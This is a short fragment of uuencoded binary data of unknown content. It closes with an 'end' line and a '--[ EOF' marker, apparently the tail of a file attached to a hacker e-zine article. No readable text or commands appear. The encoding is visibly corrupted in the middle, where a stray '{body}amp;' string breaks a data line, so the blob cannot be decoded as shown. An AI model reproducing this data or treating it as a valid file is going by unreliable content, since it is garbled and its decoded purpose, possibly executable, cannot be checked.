MF9(R3<A9A4G'NDR)WA+EXG;4WN6.$SP>KBUJ-<D*%1KA>09RAL$7,TA33YJ" M2IR3;L=%6S87<7HS6G^*0;,;Y2!*2T,F:"X81>S07!K/15Z)$1/,:3QV!#.4 MUOJBL6:?Y8PI+O]8UV>QAJO+\BB./9"ZQN$X6_VEMONXDBH*^D2<7D:#;W@' MH;$G:\*4\&2-V19J3[`VNFTFX>#IDH/$XR5V!0@J8{body}amp;JB+:)A8WNJ]C_HGBR MRN?Z?9L!2^Q_6YN=+<W^UT'_[XVM[87];V'_6]C_%O:_A?UO8?];V/\6]K^% M_6]A_UO8_Q;VOX7];V'_6]C_%O:_A?UO8?];V/\6]K^%_4_8_Q8VOX7-;V'S M^V/:_/Q3BU(X*>X`/'(9MF,S[`!D\KDH+FNN(A>>;^+6['I3VZ>'4[RH&L6X M[UX2^4"7-,XD5/`F*X_ZSSC4.+W5@*QHS1M<:4]A!9:-H#ZN_,#4:IE#R!<3 M`,*&RONA[*G&R;>VRO5I-0W8&B3X5K%C#@=;^B'`H)`F<X*IK&M[URMCL0*A MLI<!S<_P:NX2"[>!&@;(GR7SE'MA8EZ8F!<_BY_%S^)G\;/X6?PL?A8_BQ_Q +\_\!1G2PPP#@`0`` ` end --[ EOF